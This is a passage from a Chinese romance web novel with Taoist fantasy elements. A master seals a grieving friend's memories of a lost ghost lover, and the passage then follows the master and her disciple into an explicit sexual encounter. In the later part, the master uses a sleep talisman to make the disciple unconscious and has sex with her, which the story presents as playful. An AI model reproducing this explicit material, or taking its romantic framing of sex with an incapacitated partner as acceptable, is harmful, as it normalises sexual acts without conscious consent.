“可以,会让她舒服一些,她现在应该很痛苦。” 即使她闭着眼躺在病床上,看起来一无所觉,也在忍受巨大的痛苦,从身体到灵魂。 傅清微的眼泪立刻落了下来,坐在床前给她念安魂咒。 甘爸爸听不懂她们俩的嘀咕,只听到一句能治,傅清微又在念咒,不敢打扰,后进门的甘妈妈也被拉到一边,小声交流完信息。两人都眼巴巴地等着。 等到了夜晚,甘棠终于醒了,面容惨白如纸,见到傅清微还露出一个笑,虚弱道:“我就说谁一直在我耳边叨叨,原来是你这个小道士。大师好本事,再多念两句,你一念我就没那么痛了。” 甘爸爸和甘妈妈被请了出去,房门反锁,傅清微看向穆若水:“师尊?” 穆若水不喜迂回,开门见山:“我可以为你抹去你和杜昔言在一起的所有记忆,你的神魂会永远稳固,以后你就不会再痛了。” 傅清微惊讶地看着她。 她不知道是这种方法!怎么会走到这一步? 甘棠苦笑:“没有别的办法了吗?” 穆若水摇头。 “你神魂重创,忧思成疾,只有此法万无一失。” 想到守在门外的家人,她日渐虚弱的身体,妈爸的眼泪,甘棠再如何不舍过去也要下定决心,含泪道:“我想问问道长,抹去记忆是永远抹去,还是暂时封印?” “你想怎么选?” “如果我可以选的话,我想请你暂时封印我的记忆,等到我可以承受的时候,把它还给我。”也把杜昔言还给她。 甘棠流干的泪再次涌出来,说:“我不想忘记她。” 穆若水答应了。 甘棠闭上了眼睛。 穆若水的二指点在她的眉心,甘棠像做了一场漫长的美梦,梦里她和杜昔言的过去一一上演,她情不自禁地弯起唇角。 她们追着、打闹、拥抱,依偎在一起,一个人的身影被橡皮擦去,所有的记忆只留下她自己的影子。 梦醒以后,她就会好起来,除了脑海里少了一个存在过的人。 甘棠呼吸平稳地睡去。 傅清微和穆若水出去了,换进来她的妈妈爸爸。 穆若水一直走出了住院部,面前是绿草如茵的草坪,她站在歇脚的亭子里,四周没有人声。 “恐怕你我都料错了一件事。” “什么事?”傅清微问。 “如果她的灵魂真的轮回了好几世,不可能在杜昔言走后遭遇如此的重创。”轮回虽然是灵魂净化、洗去执念的过程,但只净化一次和净化过好几次的灵魂是有区别的。 “师尊的意思是……” 风吹动亭前的树木,摇动出飒飒声响,犹如遥远的一曲悲歌。 穆若水转过身来,静静地看着她:“柳小姐死后也没有立刻去转世,这是她的第一世。” “她在奈何桥前等了她三百年,她没有等到。” 她们谁也没能等到谁。 第103章 “醒了, 醒了!” 声音穿透模糊的意识,传进耳朵里,伴随着医院仪器的滴答声。 甘棠仿佛大病初愈, 许久都没有这么舒服过了, 睁开眼, 望着病床前围着的垂泪的妈爸,和她的好朋友, 好朋友的女朋友。 “怎么都这么看着我?”甘棠笑道, “不就是生个小病住院吗?” 二老眼眶通红。 距离封印记忆已经是第二天了,甘棠的魂魄躺回身体契合以后, 恢复速度堪称医学奇迹。 一周后, 甘棠出院。 机体痊愈得差不多,但是前段时间折磨得太瘦了,风一吹跟个竹竿子似的马上就要倒掉, 医生建议坐一段时间轮椅。 一个月后, 傅清微从外地回来,抽空到她家看她,甘棠给她表演了一个大变活人, 身上和脸上的肉都回来了,好阳光开朗一花果山母猴。 她在小区楼下露天的健身区溜达,和小孩抢跷跷板,让傅清微坐到对面去。 傅清微扭头:“我可以吗师尊?” 穆若水嫌弃但受用:“想去就去, 我又不是你妈。” 甘棠啧啧啧,举起手机拍合照。 两人坐在跷跷板的两端, 甘棠肉没完全长回来, 通过气沉丹田和双脚下蹬的力量勉强保持了跷跷板的有来有往。 穆若水心里嗤道:幼稚。 低头继续用青草尖玩地上的蚂蚁。 傅清微没打算一直让甘棠蒙在鼓里,来的前一天晚上她和穆若水商议, 确认了只要师尊不主动解开封印,甘棠永远都不会自己想起来的事实,决定找个机会告诉她真相。 眼下的时机差不多成熟了。 “你前段时间生了重病,是因为你遭遇了一场重大的打击,药石无医。为了让你能从那场打击里恢复过来,我和师尊封印了你有关这件事的所有记忆。” 咖啡厅的卡座里,三杯咖啡端上来以后,傅清微对甘棠说出了这番话。 甘棠喝咖啡的手一顿,表情从将信将疑到深信不疑。 虽然过于离谱,但傅清微肯定不会骗她。 甘棠好奇:“关于什么方面的?” 傅清微:“你失恋了,对方是个很好但不能在一起的人。” 甘棠:“她还活着吗?” 傅清微:“她去转生了。” 甘棠自动把“转生”理解为去世,点了点头,叹气道:“生离死别啊,怪不得。” 她像是在听别人的事,后知后觉落在自己身上,感慨说:“想不到我还是个情种。” 傅清微从她脸上看不到一丝悲伤难过,原来失去记忆真的可以完全改变一个人的感情吗? 甘棠继续问:“我女朋友漂亮吗?” 傅清微回答:“漂亮的。” “有没有照片给我看看?嘶,是不是看照片会刺激到我,那我先不看了。” “很遗憾,你们没有留下任何照片。” “好遗憾啊。”甘棠也在说,搅拌了几下杯底的咖啡,端起来抿了一口。 嗯?是不是忘记放糖? 喝着比平时的苦。 她往咖啡里多加了半包糖。 她仍然对自己的初恋女友充满好奇心,她母胎单身二十多年,好不容易谈了个恋爱还被自己忘了。 她不停地向傅清微询问细节,怎么遇到的怎么恋爱的。 傅清微看穆若水,穆若水向她点了点头。 旁听再悲伤的故事,于本人也隔着一层,她相信自己的术法,无妨。 傅清微隐去了杜昔言是鬼的事,说她们是一见钟情,看电影、手牵手压马路啊,等等她从甘棠那里听来的转述。 甘棠问了很多甜蜜的桥段,唯独没有问是怎么分开的。 傅清微也略过不提,道:“将来你解开记忆的时候,就会全部想起来。” 甘棠把另外半包糖也加进咖啡里,说:“她会不会怪我忘记她?” “不会。她希望你好好活着,长命百岁,这是她离开前的心愿。” “好沉重啊。”甘棠说,“等我的心情不再这么沉重,不会再只是听到就莫名其妙掉眼泪的时候,再把我的记忆还给我吧。” “好。” 傅清微伸手用纸巾帮她擦去从中途开始就落个不停的泪水。 甘棠感觉不到悲伤,却相信了一件事:“我一定很爱她。” “她也很爱你。” * 傅清微拗不过甘家人的热情挽留,在甘棠家用过晚饭才走。 一家三口和乐融融,甘妈妈甘爸爸都洋溢着笑容,甘棠最近补身体胃口大了许多,老两口看着她大快朵颐,一日日健康丰腴,满眼幸福。 傅清微见了也很高兴。 但这高兴的背后,总是有一丝若有若无的阴霾在她心头闪现。 傅清微离开甘家以后,和穆若水慢慢散步出小区,一张漂亮的脸显而易见地挂上了郁色,闷闷不乐。 穆若水脚步跟着放慢:“还在想杜昔言的事?” 傅清微低低地嗯了一声,偏头看着师尊道:“尤其是知道甘棠是柳小姐的第一世以后,我总是在想她们之间已经这么苦了,为什么还要走到这一步?” 一个转世一个遗忘,仍旧在人间,在黄泉,两处茫茫皆不见。 她问:“难道真的没有别的办法了吗?是我没想到还是我太无能了,对不起师尊,我可能有点语无伦次。” 穆若水大度地原谅了她的语无伦次。 “如果你是甘棠,你会怎么选?”穆若水把话题转到了她的身上。 “我吗?” 傅清微没想过这个问题。 穆若水看着她:“你会做出和她一样的选择吗?” 傅清微点头说:“如果我是甘棠,我会和她做出一样的选择。” 穆若水不说话了。 两个人静静地往前走,她的步子不觉加快了些,傅清微以为她赶着回去,配合她的步伐出了小区,在门口等网约车。 傅清微站在马路牙子上,盛夏的晚风裹挟着白日的暑气,只有闷热。 她的脖子里闷出一层细汗,鼻尖也冒出一滴晶莹的汗珠。 “但我和甘棠不一样,我没有家庭没有牵挂,我还是个道士。如果真的有人等了我三百年,不管她是人是鬼,既然错过了这么久,应该会抓住当下吧。” 穆若水转过脸,幽幽地盯着她。 她站在树荫下纳凉,枝叶的阴影错落映在她脸上,冷不丁面无表情地盯她,确实像个女鬼。 傅清微吓一跳:“师、师尊,怎怎怎么了?” 穆若水依旧用冰冷的语调说:“你有话不能一次性说完?” 傅清微委屈:“我不得想想吗?再说你走得那么快,我说话嘴里会进风。” 穆若水:“迟早弄死你!” 傅清微心说:可以是在床上吗? 有贼心没贼胆,只敢在心里接话这样子。 傅清微诚恳:“我错了,师尊。” 穆若水别过头不再看她,一片冷然的脸上蓦地掠过一抹浅浅的笑意。 傅清微又:“不过……” 穆若水转过身,出手如电地掐住她的脖子。 傅清微嗯了一声,尾音长长,不正经像在床上的音调。 好久没掐了,两人都有一种熟悉的宾至如归感。当然穆若水没用力气,长出指甲的修长指尖抚着她的脖子,凑近她的脸对着她的耳朵吹气道:“如果你再说出我不喜的话,我就拧断你的脖子,把你变成鬼徒弟。” 傅清微觉得她师尊这样像话本子里写的狐妖,她也是吃上好的了,更兴奋了。 傅书生害羞:“小生不知娘子想听什么?还请指教则个。” 穆若水:“……别逼我真的杀了你。” 傅清微把手覆上女人掐在她脖子的手背,来回抚着细滑皮肤占便宜,说:“我就是想说我介意的点和别人不一样,我可以和鬼在一起,但是我介意她等的人不是我。像杜小姐等了柳小姐那么久,甘棠又不是柳小姐。前世的我和今生的我,怎么能算作一个人呢?” 傅清微:“我的发言到此结束,师尊还满意吗?” 穆若水松开她的颈项,替她重新整理好衣领,说:“尚可。” 话既然说到这份上,傅清微也想知道她的答案:“师尊以为,是否算作同一个人?” “这个问题前段时间不是答过?”穆若水扬眉道,“自然不算。” “但一个人有两世记忆,另一个人只有一世。后者要是吃起醋,算不算吃自己的醋?” “算?” “可她们不是一个人啊。” “……” 穆若水又想清理门户了。 傅清微两手掐住自己的脖子,额角青筋梗起:“我杀我自己!” 徒儿很贴心,省了穆若水动手的工夫。 “车到了。”她扯过戏多的傅清微的右胳膊,把她推了进去,说,“收了神通吧小圣。” 最近傅清微给穆若水推荐了《西游记》的电视剧,太短了她没看过瘾。 傅清微在前方和妖魔鬼怪斗得水深火热,她手机屏幕里的大圣也刚降住了几个妖,歌单都是《云宫迅音》。 下一步傅清微打算找个机会给她推《神雕侠侣》,原著和影视齐上阵,迟早把师尊掰弯,虽然她看起来就不太直。 傅清微这段时间累坏了,自从加入灵管局除了受伤放假那半个月,就没有不忙的时候,一上网约车就靠着穆若水的肩膀睡着了。 明天要坐高铁去另一个城市,从蓬莱路往返不便,两人依旧回了近地铁的小房子。 幸好傅清微当时为了留个念想没有退租,否则以现在高强度的出差,住酒店不知麻烦多少倍。 网约车到了小区门口。 司机从后视镜诧异地看到戴着黑色口罩的女人先下来,然后开着车门到另一边,将熟睡的年轻女人抱了下来。 司机:“……” 傅清微进了屋才醒过来,两只手挂在穆若水的脖子上,不敢相信地眨了好几次眼睛。 看看女人又看看房子里的摆设。 傅清微:“你抱我上来的?” 穆若水:“不是我,是猫。” 小三花正翘着蓬松大尾巴蹭穆若水的裤脚。 傅清微默了默,说:“这一路有人看见吗?” 穆若水回忆片刻说:“小区里遇到人五个,狗三只,流浪猫狗各一,电梯里有四五个人,你的鞋差点踢到人家的衣服,有两个人看到电梯人满了没有上来。” 傅清微的脚趾都蜷缩起来,从头红到脚:“……为什么不给我戴口罩?” 穆若水压住唇角掩饰笑意,说:“我戴了啊。” 傅清微:“啊啊啊啊啊!” 她从穆若水怀里跳下来,把她按在客厅的沙发上,在她胸口乱滚一气,整个人都骑在女人清劲有力的腰上。 穆若水安之若素地枕着自己的胳膊,漫声说:“以下犯上,大逆不道。” 她衣袍被扯得轻微凌乱,脸不红气不喘,脸庞平静美好,傅清微两腿夹着她的腰,坐在她身上,深处仿佛正在脉动,积蓄着春雨欲来的潮气。 夏季的衣裳轻便,傅清微的裤子也是透气的薄款,两层加起来也没多少厚度。 傅清微脸色红了红,沉腰下坐,紧紧地抵着女人劲瘦平坦的腰腹,往前蹭了蹭,挪回原位,然后再蹭了蹭。 穆若水:“……” 如果去掉所有的布料,这和自己动有什么区别? 傅清微又蹭了一下,已经有感觉了,轻咬唇瓣,腰肢细细的颤。 穆若水叫停:“等等。” 怎么随时随地就…… 傅清微下来吻她的唇,穆若水正要说话,一时不防被她侵入个正着。 “唔。” 傅清微在她的口中畅通无阻,勾着她的软舌纠缠,甘甜互渡。穆若水的意志力在尝到她的味道以后就瓦解得差不多了,搂着她忘情地吻了好一会儿才在废墟上重建防线。 “嗯……嗯……”高高低低的轻吟,或急或缓,都是属于傅清微的。 穆若水抬手捏了捏她的后颈,旋即想起这个动作有鼓励的歧义,在傅清微亲得更深之前,把她从自己身上拎开。 穆若水手背擦了擦满是她留下的水痕的嘴唇,说:“你也太……” 傅清微说:“我的手好了。” 穆若水揣着明白装糊涂:“所以?” 傅清微好久没做那种早上要换内裤的梦了,让她一个正当年的应届女大如何不想? 傅清微直勾勾地盯着她:“想要师尊奖励我。” 穆若水对上她的目光,险些想捂眼。 她怎么就……收了一个如此好色的徒儿? 没听说当师尊的还要出卖色相。 穆若水轻咳一声,低声:“不是才奖励过你吗?”现在接吻都被开除奖励名单了吗? 傅清微倒反天罡:“刚刚是我奖励师尊的!” 原来理直气壮也会传承,穆若水险些原地一个趔趄。 傅清微又道:“师尊现在再奖励我一次也成。” 穆若水不敢,以她现在吞云吸风的饥渴程度,穆若水再被她逮到,恐怕手的清白不保。 穆若水催促道:“洗澡了吗练功了吗打坐了吗?没做的赶紧去做!” 傅清微从她腰上跳下来,说:“说好的,今晚奖励我。” “谁跟你说好了?!孽徒!!!” 孽徒一溜烟进了卫生间,淋浴器打开放水的声音瞬间传来,穆若水眉头一皱,来到门口:“你拿睡衣了吗?” “忘记了,师尊帮我拿。”傅清微边洗边说。 师尊想赏她一记掌印。 穆若水给她拿好了睡衣,却没有送过去,而是放在了客厅。 再不治治她,有的人就要爬到她头上来了。 傅清微洗好了澡,一丝不挂地走出来,在门后听着卫生间外的动静,说:“师尊,帮我拿下睡衣,还有衣柜里的浴巾。” “我拿好了。” “在哪儿?” “沙发上,你自己出来取。” “……”傅清微拖鞋里的脚趾蜷了蜷,直觉有些不妙,说,“这多不好意思啊。” “和为师见什么外?” “还是你送到门口吧。” “自己拿,要么就冻着。”穆若水说完就不再理会她了。 傅清微只要敢光着出来,她就敢把脸扭到一边。 但她绝对不敢,这是穆若水对她的了解,她的胆子随着光线的明暗而递增,天越黑她胆儿越大。现在虽是夜晚,可客厅亮如白昼,她这徒儿放浪又害羞,没节操有底线,可以投怀送抱,决不会不穿衣服地投怀送抱。 傅清微果然躲在浴室里不敢出来。 嘴皮子都磨破了,穆若水口风一点都不松。 好在是夏天,傅清微修行体质好,卫生间狭小不通风,她站半天也不觉得冷。 等到穆若水气消了,来给她送衣服。 穆若水看着她伸出来的一条雪白胳膊,说:“你明明可以穿上旧衣服,出来拿了睡衣再洗一遍,为什么非要等我。” 傅清微态度端正:“师尊罚我,定有师尊的道理,徒儿不敢偷奸耍滑。” “算你过关。” “谢谢师尊。”看来今晚是有奖励了。 她的醒神符总算可以派上用场了,养符千日,用符一时。 傅清微确认了背包夹层里的宝贝符箓,提前拿到了卧室,盘腿在床上打坐。 穆若水把卧室的门关上了,自己在客厅陪小三花玩,不让她去打扰傅清微练功。 两个小时不过时针的两次偏移,小三花用爪子扒拉着固定在沙发的逗猫棒,发出清脆的铃音,很快有更新鲜的事物吸引了她的注意力。 小三花身形如闪电快跑出残影,大尾巴左右摇晃地迅速奔向了卧室门口,两爪直接抬起搭在傅清微的膝盖上。 傅清微冲它做了个嘘声的手势,将它抱起来轻手轻脚地靠近沙发,在旁边蹲下,凝望熟睡的女人。 穆若水睡着的脸颊依然雪白,像清冷的一枝莲,湖水静谧。 粉色的猫爪拍在莲身上,穆若水睁开眼睛,所有的活水仿佛都随着她流动起来,浓墨一样的眼珠里一片流光,明明客厅顶灯如此单调。 穆若水握住小猫粉爪,另一半握在傅清微手里,刚刚用它戳了穆若水的脸。 小三花不高兴地喵喵两声。 两人同时松手,小三花先在穆若水身上踩了一下,又跳到傅清微肩膀踩了一下才跑走了。 穆若水坐起来,懒懒地抬了一下手,青袍的衣袖徐徐流动,暗绣的花纹银线勾勒出光华。女人斜斜地靠在沙发里,双腿自然地曲着,问她:“打坐完了?” 傅清微直起身,霸占了沙发的部分位置,让她靠在自己肩膀上,说:“已经结束了。” 穆若水只好端坐。 打坐静心暂时克制了傅清微的色欲,她在入定之前便想到了一件事,现在才有空来和穆若水说。 “师尊的失忆有没有可能是被人封印了记忆?” “你说的可能为师也想过。” “有人比师尊还厉害?” “天外有天。”穆若水不爽但承认,“或许有吧。” “是不是找到那个人,师尊就可以恢复记忆了?” 穆若水却摇了摇头。 “为师情况特殊,即使没有封印,我能记起的恐怕也有限。” “啊?为什么?” “知道太多对你未必好。”穆若水执起她的手,牵至唇边自然地亲了一口。 傅清微暗喜,在穆若水反应过来之前控制住了自己的情绪,穆若水见她无异色,便泰然自若地又亲了亲手背才放下。 她想说一句回房吧,一想到回去傅清微又要不够,闭口不言在客厅拖延时间。 再拖还是被傅清微半推半就地回了卧室,期间还剪了指甲,“被迫”洗了手。 傅清微把醒神符夹在短裤和内裤的中间,亲手把师尊推上了床,然后关了灯。 啪嗒一声。 卧室陷入一片黑暗。 穆若水保持着刚上床的姿势,靠坐在床头,说:“等等。” 傅清微不听她的,抬起长腿一跨,熟练地坐在了她的腿上,接着上身前倾吻住了她。 她的手同时在她脑后一绕,抽开了束发的丝绸发带,三千青丝散落,她的指尖顺着探进女人的发间,搂住她单薄的后背。 她亲得过于主动和热情,穆若水浅尝辄止地回应,已让她越探越深,忘我地投入在唇舌的高温里。 穆若水且战且退,傅清微步步紧逼。 她握着穆若水刚剪过指甲的手,按在了自己身前,一边和她接吻一边在间隙里哼哼唧唧求她。 穆若水只好满足她。 傅清微哼唧得更厉害了。 她自己以为关灯了无所顾忌,实际穆若水的眼睛看得清清楚楚。 她仰起的修长颈项,不明显的喉骨一下接一下地吞咽,在不接吻的时候持续哼出好听的声音。 就只是这样,她白皙的脖子和锁骨便濡出一层细汗。 穆若水用舌尖帮她舔去了咸湿的汗水。 傅清微很快不满足这样和平时没什么不同的前奏,她抬起身子往前坐,又一次抵住了女人挺拔清劲的腰腹。 穆若水的身上少了一层外袍,真丝睡衣又被弄乱,比方才在客厅的感觉还明显,她几乎能隔着薄薄的衣物感受到那里一翕一张,双唇呼吸的节奏。 穆若水立刻说:“不行。” 傅清微俯下身来吻她,边前后蹭边反问她:“嗯……不行吗?” 穆若水坚持:“不行。” 可耳边年轻女人的声音已经在喘,似乎有点难受,又不全是难受。 穆若水:“……”真是一意孤行。 再这么蹭下去真给她蹭到了。 自己的脸面往哪搁? “师尊……”傅清微又在求她,她靠自己还是差了点。 “听到了。”穆若水都快被她挤到后背贴着床头了,她把仗着穿着衣服在自己身上胡作非为的傅清微掀了下来,回到两人熟悉的侧躺姿势。 慢慢地接吻,慢慢地挑动春潮,小小的餐前甜点后,穆若水抱着颤抖的傅清微亲吻,五指仍在规律地收束。 她右手的指尖落在她后背,开始画安睡符。 困意突然汹涌,傅清微双眸微微睁大,穆若水和她对视的眼神有些发虚。 这么久了,她也忍不住了不是很正常吗?尤其是刚刚吃过前菜以后,怎么少得了大餐? 她待会一定会好好侍弄她。 她想舒服几次就让她舒服几次,在梦里。 第104章 醒神符和安睡符的较量正式开始。 安睡符下了三道, 分别在手、背和额头,铺天盖地的困意袭来,摧毁了傅清微所有抵抗的意志力。 傅清微如她所愿地昏睡过去。 穆若水和不久前急色的傅清微没什么区别, 迫不及待地享用正餐。 她用唇舌取代了手, 手也没闲着, 有她自己的用途。 傅清微本来是侧躺,被女人放成了平躺, 指尖划过从上到下的一排扣子, 畅通无阻地滑进去,贴在掌心。 穆若水吻着她的细颈, 偶尔齿尖磨着用些力, 方才傅清微醒着她都不敢留下痕迹,如今一朝得了放纵的自由,恨不得每一寸皮肤都被自己噬咬舔舐。 她的唇渐渐往下, 发丝擦过年轻女人的锁骨, 锁骨也染上斑驳的红。 她停了下来,舌尖熟练地在上面打转,唇瓣轻抿, 含了含。 穆若水另一只手的拇指也跟着动了动,傅清微果然给出她喜欢的反应。 睡着也很乖。 穆若水忍不住又抬起身子亲了亲她的唇,热吻之后才继续服侍她。 她太沉浸在自我的感受中,竟不知道哪一刻傅清微睫羽煽动, 口中含糊的声音忽然清晰了一瞬。 “师……尊……”后一个字口齿比前一个字清晰十倍不止,后续很快又含混下去:“唔嗯……” 傅清微事先藏好的醒神符果然发挥了功用, 她的意识从一片黑暗, 到模糊,渐渐地能感知到自己的身体。 她正在被师尊肆意地玩弄成各种形状。 睡着之前也被玩过, 但是花样不可同日而语。 师尊她…… 傅清微喘了一口气,又缓了一口气,心想考验演技的时候到了。 她主动把自己的意识陷在半梦半醒之间,但是身体此时传达的感知是百分百真实的。 她随着穆若水的进度做出本能的反应,幅度变小,声音变低。 耳根却一点一点地红了。 师尊怎么还会这样? 穆若水的膝盖压了上来,前后晃了晃,拨弄一池春水。 傅清微深吸一口气:“……” 要死了!!! 穆若水忽然轻轻地“嗯?”了一声,因为她这种时候希望看着傅清微的脸,所以注意到她轻咬的唇。 上次她也咬嘴唇了吗? 穆若水手指伸进她嘴里,将她的下唇从齿尖解脱出来。 她的膝盖开始慢慢打圈,照顾到每个地方。 傅清微含着女人修长的指尖,说不出叫不出,密密麻麻的痒意从她们接触的地方传出来,无法挣脱的快意让她只想逃。 她逃不开。 因为女人死死地抵住她,也压制着她。 她缩着身子往后躲,不提防耳垂送进早就准备好的女人的口中,温热滚烫。 穆若水舔弄着她的耳垂,含入又含出,最后一口咬在她薄薄的耳廓。 傅清微呜的一声低泣,雪颈往后仰。 穆若水停下膝盖,放开她欺负得红红的耳朵,本来想算了,实在可爱就又咬了一下。 傅清微在她怀里又颤了一下。 女人俯身抱住她,没一会又亲起她线条漂亮的侧颈。 傅清微:“……” 师尊这么没有人性的吗?都不让自己休息一下? “清微。”女人低哑性感的声音传进耳朵,傅清微觉得自己又可以了。 又被弄哭一次以后。 傅清微已经掌握了窍门,她在自己身前忙活的时候一般不会抬头,只有这时候傅清微才能有机会睁眼看她。 好不容易找到一个时机。 她低下头睁开眼睛,极具冲击力的画面让她不敢再多看,又忍不住再看亿眼。 师尊在她睡着的时候就是这样对她的吗? 傅清微心怦怦跳,那里也在跳。 穆若水对她的每一个反应都很敏感,她只在上面亲了亲,傅清微这么快就…… 傅清微赶紧闭上眼睛装死。 但她涨成番茄的脸还是出卖了她。 穆若水伸手指腹摸了摸她漂亮的眉毛,在她耳边:“傅清微。” 傅清微哪敢应,控制住自己的身体不要僵硬紧绷,露出马脚,已经用尽全力。 她不知道穆若水发现没有,但女人没有半点克制的意思。 膝盖压着她快速晃动,傅清微只想死。 她死不了,只能被折腾得死去活来,满脸是泪。 穆若水对她的眼泪照单全收,一滴也没落入别处,都进了她的口中。 师尊越来越像个变态了。 但是傅清微只要一这么想,深处跳动得更厉害了。 糟了,她的醒神符! 要是被弄湿了怎么办? 她感知了一下醒神符的位置,虽然藏得隐蔽,但按照这个趋势下去,迟早浸湿报废。 师尊怎么还在弄她…… 自己不是已经…… 救命啊! 傅清微盼了好久终于盼到今天,终于能清醒地感受这一切,此刻却不明白是对是错…… 她陷进千重浪里,一浪未平一浪又起。 意识跌入云海。 很久很久以后。 醒神符应该是被浸透了小部分,穆若水从傅清微那里拿了出来。 傅清微以前在梦里也是完事倒头就睡,忽略了还有穆若水帮她清理这一环,即使她算到了,想找机会收起来,要在穆若水的眼皮子底下做到取出符箓,塞进枕头底下,也是不可能做到的事。 所以醒神符注定只能用这一次。 穆若水二指捏住,从上到下展开在她面前:“我画的符?效果怎么样?” 傅清微盯着符箓下方不可忽略的水迹,硬着头皮说:“挺好的。” “什么时候醒的?” “就……你亲我的时候。” “第一次的时候?” “应该吧,不确定之前有没有到。” 傅清微也不明白为什么是师尊趁她睡着对她行如此荒唐之事,但是被戳穿以后,她神情泰然,心虚的反而是自己。 她是被做的那一个啊! “舒服吗?”穆若水问,语出惊人。 “啊?” “问你舒不舒服。” “舒、舒服。”傅清微结结巴巴,脸红成蒸螃蟹。 “那就好。” “但是现在不太舒服。”傅清微曲了曲长腿,仍然保持着穆若水想要给她清理但被打断的姿势。 穆若水低下头,从她打开的膝盖看了一眼。 傅清微常常忘记穆若水能在黑夜里视物这件事,否则她绝不会在此时只是浅浅地害羞,而是找个地洞立马钻进去。 穆若水双手扶在她的膝头,眼皮微抬,又撩了她一眼:“要不要我帮你舔干净?” “不要!” 傅清微声音陡然提高,整颗心都因为女人这句话而十七八只兔子乱蹦。 这这这、成何体统?! “好吧。”穆若水自从发现她醒着以后就语气淡淡的,听不出喜怒,此刻自然也听不出是否惋惜。 傅清微拒绝过后,就在惋惜和庆幸之间反复横跳。 她以前看电影里看过,最容易让她面红耳赤的一环就是这样。 不知道舔是什么感觉? 算了来日方长。 对于现在的她来说,没办法从容答好。 为什么师尊非要问她呢?她要是直接亲上去,自己顺水推舟多好。 傅清微转而变成对穆若水淡淡的埋怨。 穆若水:“我出去一下。” 傅清微:“做什么?” 穆若水面向她的已经是出去的背影了,说:“拿湿巾。” “房间里不是有吗?” “我怕不够用。”穆若水头也没回。 傅清微把头埋进枕头里当鸵鸟,哦不,她现在躺着,腰部以下几乎悬空,以免蹭到床上,根本做不了这个动作。 所以傅清微退而求其次地把被子拉高了,盖住自己烧起来的脸。 ……虽然是很多,可哪有那么夸张。 她怎么还不回来?在锻炼自己的腰功吗? 明明有更好的锻炼方式,她可以和自己一起实践。 傅清微想了半天新的练腰方式,因为知识浅薄,所以脑海里的画面都有点别扭,怎么都不对。 之后她听见客厅的卫生间传来洗手声。 傅清微:“……” 师尊会不会有点过分了?她不是去拿湿巾的吗? 自己还晾着呢。 难道她打算动手了? 傅清微悄悄从被子里露出一双眼睛盯着门口。 穆若水回来了,步履听起来与往日无异,快慢轻重如一,左手拿着样东西,轮廓像是包湿巾。 真是好大一包。 那是放在客厅茶几给小猫擦脸擦爪的,温和无刺激,不含酒精。 穆若水在傅清微身边坐了下来,掀开被子,拍了拍傅清微的侧腰,轻咳了一声。 傅清微抬高了一点。 依然是想叫救命的程度。 湿巾一点一点地在柔嫩的皮肤掠过,傅清微闭着眼咬着唇,脸偏向一边。 “嘶……” “凉?”女人的声音从上方传来。 “不是。”傅清微缓缓吐出一口憋住的长气,说,“要不我自己来吧?” 她怕师尊越弄越弄不干净。 穆若水捏着纸巾,低头瞧了瞧自己的指尖刚刚不小心碰到的地方又在欢迎她,默了默,说:“好吧。” 她说:“我不是很熟练。” 傅清微的脑子大概是自动回复:“没关系,以后熟练就好了。” 穆若水&傅清微:“……” 傅清微:“我要开始了,你转过去吧。” 穆若水嘴巴也自动回复:“这时候你又害羞?” 傅清微&穆若水:“……” 一人一次嘴快,平局。 穆若水坐在床沿,背对着她,身后传来抽湿巾的声音,一二三四五六七……张。 傅清微:“好了。” 穆若水转过来,她又说没好,问垃圾桶在哪儿。 穆若水默默地把垃圾桶拿过来,傅清微再次遗忘她在黑夜视物如白昼的眼力,自以为偷偷摸摸地打开垃圾桶盖,把揉成一团的湿巾都丢了进去,又用脚推到远远的地方。 小腿纤细笔直,膝盖如倒扣的玉碗,紧致结实的大腿延伸进被子里,风吹一阵凉意。 傅清微两条裤子都祸祸完了,哪里都是空荡荡。 穆若水:“我可以上来了吗?” 傅清微:“上来吧。” 她把自己的两条长腿摆好,直挺挺地躺在被窝里,想着明早起来再收拾。 现在去穿裤子会不会有点煞风景? 自始至终她俩都没有开灯,一切在黑暗中进行。 傅清微觉得师尊被拆穿后的举止有点反常,恼羞成怒肯定是没有的,顺水推舟又不到那地步,否则她直接给自己舔干净不就完了。 师尊的心思捉摸不透,傅清微不想开灯打断目前的氛围。 穆若水睡在她身边,傅清微侧头看着她,看她眨动的睫毛。 “你睡着了吗,师尊?” “没有。” “你在想什么?” 穆若水不回答她,长长的睫毛又阖动了一下。 傅清微上半身贴了过来,闻着女人身上特有的返魂香味道,把脸埋进了她的颈窝。 沿着耳后的线上移,亲了亲穆若水的脸颊。 人在激情过后往往渴望温存,虽然迟来了一些,但傅清微享受这样的温情时刻。 穆若水配合地低眸,和她接了个浅浅的吻。 傅清微想枕在她的胸口,但是以她如今“半身不遂”的身体状况,腿要离得远,难度高又别扭,退而求其次地下巴垫着女人的肩膀,问道:“师尊喜不喜欢女人?” 穆若水说:“不喜欢。” 傅清微又问:“那我呢?” 穆若水无语:“……你不是女人?” 傅清微贴着她的脸颊又蹭了蹭,口吻轻松地说:“女人是一个概念,是统称。而我,就只是我。” 就像她问穆若水喜欢人类吗?穆若水恨不得全杀了。但她会收身为人类的傅清微当徒弟,悉心教导,呵护备至。 穆若水自洽的逻辑就这么简单而合理,不妙的是被傅清微看穿了。 傅清微:“师尊喜欢我吗?” 穆若水刚要张嘴。 “除了师傅对徒儿的喜欢。”傅清微又断她一条后路。 穆若水恨自己不是个谎话连篇的人。 都不是人了,为什么还有莫名其妙的说真话buff。 “为师喜欢你……的身体。”她承认了一半,另一半她自己也不确定。 “你可以光明正大地要,我不会不给你,为什么要趁我睡着?” “为师……要脸。”穆若水字从牙缝里挤出来,咬得十分用力。 徒儿已是个不要脸的,师尊更得要脸。 否则师门成什么样子? 虽说只有满门她们两个,再淫乱也是关起门来行事。 傅清微噢了一声,把那句“好可爱哦”从喉咙里咽了回去。大逆不道大逆不道。 啾的一声。 穆若水被徒弟亲了响亮的一下脸。 穆若水摸了摸软软的脸,有更软的触感方才在上面停驻。 傅清微在她耳边小声说:“好喜欢师尊。” 穆若水的唇角擅作主张地跟着扬了一下,揉了揉她脑后的长发。 “好喜欢好喜欢好喜欢。” “可以了。” 穆若水第一次知道光听她说话都能听得血热,和身体纠缠时流速加快的燥热不一样,这次更温和长久。 “但是真的很喜欢。” 欢字的尾音被女人堵住的唇吃掉了,傅清微和她接了一会儿吻突然笑出来。 穆若水:“?” 傅清微:“没什么,我自己的问题。” 早知道她该穿条裤子的,现在好!奇!怪! 她像条对角线斜在床上! 穆若水的手臂习惯性搂着她的腰,再往下一点点就会发现她没有裤子。 ……完了,已经发现了。 穆若水下意识捏了捏确认,说:“你怎么不穿……” 傅清微红着脸低声:“我也要有那个机会。” 罪魁祸首本人舔了舔唇,问:“你想怎么样?” 这么近的距离,傅清微不至于看不到她的动作。 